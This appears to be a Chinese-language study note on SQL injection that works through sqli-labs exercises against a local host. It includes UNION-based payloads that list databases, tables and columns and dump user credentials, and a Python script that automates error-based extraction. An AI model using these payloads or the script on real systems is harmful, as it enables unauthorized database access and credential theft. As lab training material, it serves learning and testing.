注入的分类
注入的分类:数字型和字符型。攻击者目的只有一点,那就是绕过程序的限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
1、数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2、字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
– 注意,这种注释符后边有一个空格
# 通过#进行注释 即**%23**
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
sqli-labs
查看有多少列:
?id=1 order by 3--+
查看所有的数据库:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
查看所有的表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
(0x7365637572697479对应的字符串是security)
查看所有的字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
(0x7573657273对应的字符串是users)
查看所有用户名和密码:
union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
(0x7e相当于’~’)
concat()函数
功能:将多个字符串连接成一个字符串。
语法:concat(str1, str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
举例:
select concat (id, name, score) as info from tt2;
concat_ws()函数
功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)
语法:concat_ws(separator, str1, str2, …)
group_concat()函数
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
Less-3
与less -1的报错进行对比,发现多了一个)
,查看源码:
构造id=-1’)
less-4
?id=1’没有报错,试了下?id=1”,报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“2””) LIMIT 0,1’ at line 1
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
查看源码,发现它在进行SQL查询前好像还做了个给id赋值的操作,测试一下这个到底会对id进行怎样的操作:
<?php
$id=1;
$id = '"' . $id . '"';
echo($id); //"1"
我们看见执行的结果是”1” 可以得知原来这个语法是个id参数加了两个双引号 并且还是右括号的注入
构造**?id=-1”)**
less-5
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1
import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://127.0.0.1/sqli-labs-master/Less-5/?id=1'''
### 获取当前数据库名 ###
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
### 获取表名 ###
print('数据库%s下的表名:' % db_name)
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
r = requests.get(url+payload)
if 'group_key' not in r.text:
break
table_name = r.text.split(':')[-2]
table_list.append(table_name)
print('[+]' + table_name)
### 获取列名 ###
#### 这里以users表为例 ####
print('%s表下的列名:' % table_list[-1]) ###根据我的摸索,里面的数字应该表示顺序,-1表示的应该是倒数第一个,0应该表示第一个
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
column_name = r.text.split(':')[-2]
column_list.append(column_name)
print('[+]' + column_name)
### 获取字段值 ###
#### 这里以username列为例 ####
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
dump = r.text.split(':')[-2]
print('[+]' + dump)
less-6
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1”” LIMIT 0,1’ at line 1